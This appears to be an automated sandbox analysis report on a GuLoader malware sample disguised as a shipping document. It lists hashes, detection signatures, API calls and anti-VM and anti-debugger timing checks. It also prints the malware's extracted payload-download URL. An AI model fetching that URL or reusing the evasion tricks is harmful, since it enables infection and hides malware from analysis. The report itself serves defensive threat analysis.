Play interactive tour

Edit tour

Analysis Report shipping Document and Bill Of Landing.exe

Overview

General Information

Sample Name:	shipping Document and Bill Of Landing.exe
Analysis ID:	411858
MD5:	7196e6e67a39225a9b73af0c6f6b5b0e
SHA1:	c0da8d54393e9365d1fa0f0a88cf4b52496992b1
SHA256:	4d5e7bff4f749a4f1a357c61098c19c345246b142308f4048aebc6dfdaf4fc73
Tags:	GuLoader
Infos:
Most interesting Screenshot:

Detection

GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Potential malicious icon found

Yara detected GuLoader

C2 URLs / IPs found in malware configuration

Contains functionality to detect hardware virtualization (CPUID execution measurement)

Detected RDTSC dummy instruction sequence (likely for instruction hammering)

Executable has a suspicious name (potential lure to open the executable)

Hides threads from debuggers

Initial sample is a PE file and has a suspicious name

Machine Learning detection for sample

Tries to detect Any.run

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Abnormal high CPU Usage

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates processes with suspicious names

Detected potential crypto function

PE file contains an invalid checksum

PE file contains strange resources

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Startup

System is w10x64

shipping Document and Bill Of Landing.exe (PID: 672 cmdline: 'C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe' MD5: 7196E6E67A39225A9B73AF0C6F6B5B0E)

shipping Document and Bill Of Landing.exe (PID: 204 cmdline: 'C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe' MD5: 7196E6E67A39225A9B73AF0C6F6B5B0E)

cleanup

Malware Configuration

Threatname: GuLoader

{"Payload URL": "https://reachglobal-in.com/fdeb/bin_dXfiGRj156.bin"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp

Malware Configuration Extractor: GuLoader {"Payload URL": "https://reachglobal-in.com/fdeb/bin_dXfiGRj156.bin"}

Multi AV Scanner detection for submitted file

Show sources

Source: shipping Document and Bill Of Landing.exe	Virustotal: Detection: 52%			Perma Link
Source: shipping Document and Bill Of Landing.exe	ReversingLabs: Detection: 29%

Machine Learning detection for sample

Show sources

Source: shipping Document and Bill Of Landing.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe

Code function: 1_2_00413514 CryptDestroyHash,

1_2_00413514

Source: shipping Document and Bill Of Landing.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Networking:

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: https://reachglobal-in.com/fdeb/bin_dXfiGRj156.bin

Source: unknown

DNS traffic detected: query: reachglobal-in.com replaycode: Server failure (2)

Source: unknown

DNS traffic detected: queries for: reachglobal-in.com

Source: shipping Document and Bill Of Landing.exe, 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp

String found in binary or memory: https://reachglobal-in.com/fdeb/bin_dXfiGRj156.bin

System Summary:

Potential malicious icon found

Show sources

Source: initial sample

Icon embedded in PE file: bad icon match: 20047c7c70f0e004

Executable has a suspicious name (potential lure to open the executable)

Show sources

Source: shipping Document and Bill Of Landing.exe

Static file information: Suspicious name

Initial sample is a PE file and has a suspicious name

Show sources

Source: initial sample	Static PE information: Filename: shipping Document and Bill Of Landing.exe
Source: initial sample	Static PE information: Filename: shipping Document and Bill Of Landing.exe

Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe

Process Stats: CPU usage > 98%

Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_02296EB1 NtUnmapViewOfSection,	1_2_02296EB1
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_02290715 EnumWindows,NtWriteVirtualMemory,	1_2_02290715
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_0229292A NtWriteVirtualMemory,	1_2_0229292A
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_0229350C NtAllocateVirtualMemory,	1_2_0229350C
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_02296962 NtProtectVirtualMemory,	1_2_02296962
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_02293636 NtAllocateVirtualMemory,	1_2_02293636
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_0229720A NtUnmapViewOfSection,	1_2_0229720A
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_02292A0C NtWriteVirtualMemory,	1_2_02292A0C
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_02297277 NtUnmapViewOfSection,	1_2_02297277
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_02292A5C NtWriteVirtualMemory,	1_2_02292A5C
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_02297257 NtUnmapViewOfSection,	1_2_02297257
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_02296EBE NtUnmapViewOfSection,	1_2_02296EBE
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_02292A8B NtWriteVirtualMemory,	1_2_02292A8B
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_022972E0 NtUnmapViewOfSection,	1_2_022972E0
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_02292AD8 NtWriteVirtualMemory,	1_2_02292AD8
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_02296F38 NtUnmapViewOfSection,	1_2_02296F38
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_02292B32 NtWriteVirtualMemory,	1_2_02292B32
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_02292B6F NtWriteVirtualMemory,	1_2_02292B6F
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_02296F48 NtUnmapViewOfSection,	1_2_02296F48
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_02296FEA NtUnmapViewOfSection,	1_2_02296FEA
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_02292BD4 NtWriteVirtualMemory,	1_2_02292BD4
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_02293C23 NtWriteVirtualMemory,	1_2_02293C23
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_02292C0F NtWriteVirtualMemory,	1_2_02292C0F
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_0229700E NtUnmapViewOfSection,	1_2_0229700E
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_02292C56 NtWriteVirtualMemory,	1_2_02292C56
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_02292CAE NtWriteVirtualMemory,	1_2_02292CAE
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_022970B6 NtUnmapViewOfSection,	1_2_022970B6
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_02297087 NtUnmapViewOfSection,	1_2_02297087
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_022970FB NtUnmapViewOfSection,	1_2_022970FB
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_02297130 NtUnmapViewOfSection,	1_2_02297130
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_0229290F NtWriteVirtualMemory,	1_2_0229290F
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_02292D04 NtWriteVirtualMemory,	1_2_02292D04
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_0229351C NtAllocateVirtualMemory,	1_2_0229351C
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_0229194A NtWriteVirtualMemory,	1_2_0229194A
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_0229714E NtUnmapViewOfSection,	1_2_0229714E
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_02292943 NtWriteVirtualMemory,	1_2_02292943
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_02292D5C NtWriteVirtualMemory,	1_2_02292D5C
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_02293554 NtAllocateVirtualMemory,	1_2_02293554
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_02292DA7 NtWriteVirtualMemory,	1_2_02292DA7
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_022935A6 NtAllocateVirtualMemory,	1_2_022935A6
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_022971BE NtUnmapViewOfSection,	1_2_022971BE
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_0229299B NtWriteVirtualMemory,	1_2_0229299B
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_022935E0 NtAllocateVirtualMemory,	1_2_022935E0
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_022935D1 NtAllocateVirtualMemory,	1_2_022935D1
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_022929D0 NtWriteVirtualMemory,	1_2_022929D0
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_00566962 NtProtectVirtualMemory,	13_2_00566962
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_0056350C NtAllocateVirtualMemory,	13_2_0056350C
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_005609FB NtProtectVirtualMemory,	13_2_005609FB
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_00566EB1 NtSetInformationThread,	13_2_00566EB1
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_0056700E NtSetInformationThread,	13_2_0056700E
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_005670FB NtSetInformationThread,	13_2_005670FB
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_00567087 NtSetInformationThread,	13_2_00567087
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_005670B6 NtSetInformationThread,	13_2_005670B6
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_00563554 NtAllocateVirtualMemory,	13_2_00563554
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_0056714E NtSetInformationThread,	13_2_0056714E
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_0056351C NtAllocateVirtualMemory,	13_2_0056351C
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_00567130 NtSetInformationThread,	13_2_00567130
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_005635D1 NtAllocateVirtualMemory,	13_2_005635D1
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_005635E0 NtAllocateVirtualMemory,	13_2_005635E0
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_005671BE NtSetInformationThread,	13_2_005671BE
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_005635A6 NtAllocateVirtualMemory,	13_2_005635A6
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_00567257 NtSetInformationThread,	13_2_00567257
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_00567277 NtSetInformationThread,	13_2_00567277
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_0056720A NtSetInformationThread,	13_2_0056720A
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_00563636 NtAllocateVirtualMemory,	13_2_00563636
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_005672E0 NtSetInformationThread,	13_2_005672E0
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_00566EBE NtSetInformationThread,	13_2_00566EBE
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_00566F48 NtSetInformationThread,	13_2_00566F48
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_00566F38 NtSetInformationThread,	13_2_00566F38
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_00560FFA NtProtectVirtualMemory,	13_2_00560FFA
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_00566FEA NtSetInformationThread,	13_2_00566FEA
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_00560FAC NtProtectVirtualMemory,	13_2_00560FAC
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_00560FA8 NtProtectVirtualMemory,	13_2_00560FA8

Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_02295460		1_2_02295460
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_00565460		13_2_00565460

Source: shipping Document and Bill Of Landing.exe

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: shipping Document and Bill Of Landing.exe, 00000001.00000002.297195400.0000000002A10000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameThe.exeFE2X< vs shipping Document and Bill Of Landing.exe
Source: shipping Document and Bill Of Landing.exe, 00000001.00000002.296409915.0000000002210000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameuser32j% vs shipping Document and Bill Of Landing.exe
Source: shipping Document and Bill Of Landing.exe, 00000001.00000002.296018416.000000000042F000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameThe.exe vs shipping Document and Bill Of Landing.exe
Source: shipping Document and Bill Of Landing.exe, 0000000D.00000000.294760484.000000000042F000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameThe.exe vs shipping Document and Bill Of Landing.exe
Source: shipping Document and Bill Of Landing.exe	Binary or memory string: OriginalFilenameThe.exe vs shipping Document and Bill Of Landing.exe

Source: shipping Document and Bill Of Landing.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: classification engine

Classification label: mal100.rans.troj.evad.winEXE@3/0@43/0

Source: shipping Document and Bill Of Landing.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe

Section loaded: C:\Windows\SysWOW64\msvbvm60.dll

Jump to behavior

Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: shipping Document and Bill Of Landing.exe	Virustotal: Detection: 52%
Source: shipping Document and Bill Of Landing.exe	ReversingLabs: Detection: 29%

Source: unknown	Process created: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe 'C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe'
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Process created: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe 'C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe'
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Process created: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe 'C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe'	Jump to behavior

Data Obfuscation:

Yara detected GuLoader

Show sources

Source: Yara match	File source: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.296439672.0000000002290000.00000040.00000001.sdmp, type: MEMORY

Source: shipping Document and Bill Of Landing.exe

Static PE information: real checksum: 0x3be80 should be: 0x37542

Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_00401CCC push edx; retf 2E00h	1_2_00401DE2
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_0040424D push ss; iretd	1_2_0040436D
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_00404334 push ss; iretd	1_2_0040436D
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_02296628 push eax; ret	1_2_02296644
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_00566628 push eax; ret	13_2_00566644

Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	File created: \shipping document and bill of landing.exe
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	File created: \shipping document and bill of landing.exe			Jump to behavior

Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Contains functionality to detect hardware virtualization (CPUID execution measurement)

Show sources

Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_02297644	1_2_02297644
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_0229765E	1_2_0229765E
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_0056765E	13_2_0056765E
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_00567644	13_2_00567644

Detected RDTSC dummy instruction sequence (likely for instruction hammering)

Show sources

Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	RDTSC instruction interceptor: First address: 0000000002295F8A second address: 0000000002295F8A instructions:
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	RDTSC instruction interceptor: First address: 0000000002296025 second address: 0000000002296025 instructions:
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	RDTSC instruction interceptor: First address: 0000000002295F27 second address: 0000000002295F27 instructions:
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	RDTSC instruction interceptor: First address: 0000000002295D71 second address: 0000000002295D71 instructions: 0x00000000 rdtsc 0x00000002 xor eax, eax 0x00000004 inc eax 0x00000005 cpuid 0x00000007 popad 0x00000008 call 00007FDABC9E8338h 0x0000000d lfence 0x00000010 mov edx, dword ptr [7FFE0014h] 0x00000016 lfence 0x00000019 ret 0x0000001a sub edx, esi 0x0000001c ret 0x0000001d test cx, cx 0x00000020 test bh, dh 0x00000022 add edi, edx 0x00000024 cmp ah, dh 0x00000026 dec dword ptr [ebp+000000F8h] 0x0000002c cmp dx, bx 0x0000002f cmp dword ptr [ebp+000000F8h], 00000000h 0x00000036 jne 00007FDABC9E830Fh 0x00000038 cmp ax, bx 0x0000003b call 00007FDABC9E837Eh 0x00000040 call 00007FDABC9E8348h 0x00000045 lfence 0x00000048 mov edx, dword ptr [7FFE0014h] 0x0000004e lfence 0x00000051 ret 0x00000052 mov esi, edx 0x00000054 pushad 0x00000055 rdtsc
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	RDTSC instruction interceptor: First address: 0000000002293DBD second address: 0000000002293DBD instructions:

Tries to detect Any.run

Show sources

Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: shipping Document and Bill Of Landing.exe, 00000001.00000002.296445757.00000000022A0000.00000004.00000001.sdmp	Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEMSI.DLLPUBLISHERSHELL32ADVAPI32TEMP=WINDIR=\SYSWOW64\MSVBVM60.DLL
Source: shipping Document and Bill Of Landing.exe, 00000001.00000002.296445757.00000000022A0000.00000004.00000001.sdmp, shipping Document and Bill Of Landing.exe, 0000000D.00000002.469952233.0000000000740000.00000004.00000001.sdmp	Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Source: shipping Document and Bill Of Landing.exe, 0000000D.00000002.469952233.0000000000740000.00000004.00000001.sdmp	Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEMSI.DLLPUBLISHERSHELL32ADVAPI32TEMP=WININET.DLLMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKO

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	RDTSC instruction interceptor: First address: 0000000002295F8A second address: 0000000002295F8A instructions:
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	RDTSC instruction interceptor: First address: 0000000002296025 second address: 0000000002296025 instructions:
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	RDTSC instruction interceptor: First address: 0000000002295F27 second address: 0000000002295F27 instructions:
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	RDTSC instruction interceptor: First address: 0000000002295D71 second address: 0000000002295D71 instructions: 0x00000000 rdtsc 0x00000002 xor eax, eax 0x00000004 inc eax 0x00000005 cpuid 0x00000007 popad 0x00000008 call 00007FDABC9E8338h 0x0000000d lfence 0x00000010 mov edx, dword ptr [7FFE0014h] 0x00000016 lfence 0x00000019 ret 0x0000001a sub edx, esi 0x0000001c ret 0x0000001d test cx, cx 0x00000020 test bh, dh 0x00000022 add edi, edx 0x00000024 cmp ah, dh 0x00000026 dec dword ptr [ebp+000000F8h] 0x0000002c cmp dx, bx 0x0000002f cmp dword ptr [ebp+000000F8h], 00000000h 0x00000036 jne 00007FDABC9E830Fh 0x00000038 cmp ax, bx 0x0000003b call 00007FDABC9E837Eh 0x00000040 call 00007FDABC9E8348h 0x00000045 lfence 0x00000048 mov edx, dword ptr [7FFE0014h] 0x0000004e lfence 0x00000051 ret 0x00000052 mov esi, edx 0x00000054 pushad 0x00000055 rdtsc
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	RDTSC instruction interceptor: First address: 0000000002295DB1 second address: 0000000002295DB1 instructions: 0x00000000 rdtsc 0x00000002 lfence 0x00000005 shl edx, 20h 0x00000008 or edx, eax 0x0000000a ret 0x0000000b mov esi, edx 0x0000000d pushad 0x0000000e xor eax, eax 0x00000010 inc eax 0x00000011 cpuid 0x00000013 bt ecx, 1Fh 0x00000017 jc 00007FDABC9BB85Eh 0x0000001d popad 0x0000001e call 00007FDABC9BB41Bh 0x00000023 lfence 0x00000026 rdtsc
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	RDTSC instruction interceptor: First address: 0000000002293DBD second address: 0000000002293DBD instructions:
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	RDTSC instruction interceptor: First address: 0000000000565DB1 second address: 0000000000565DB1 instructions: 0x00000000 rdtsc 0x00000002 lfence 0x00000005 shl edx, 20h 0x00000008 or edx, eax 0x0000000a ret 0x0000000b mov esi, edx 0x0000000d pushad 0x0000000e xor eax, eax 0x00000010 inc eax 0x00000011 cpuid 0x00000013 bt ecx, 1Fh 0x00000017 jc 00007FDABC9BB85Eh 0x0000001d popad 0x0000001e call 00007FDABC9BB41Bh 0x00000023 lfence 0x00000026 rdtsc

Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe

Code function: 1_2_0229350C rdtsc

1_2_0229350C

Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe

Last function: Thread delayed

Source: shipping Document and Bill Of Landing.exe, 0000000D.00000002.469952233.0000000000740000.00000004.00000001.sdmp	Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exeMsi.dllPublishershell32advapi32TEMP=wininet.dllMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Source: shipping Document and Bill Of Landing.exe, 00000001.00000002.296445757.00000000022A0000.00000004.00000001.sdmp	Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exeMsi.dllPublishershell32advapi32TEMP=windir=\syswow64\msvbvm60.dll
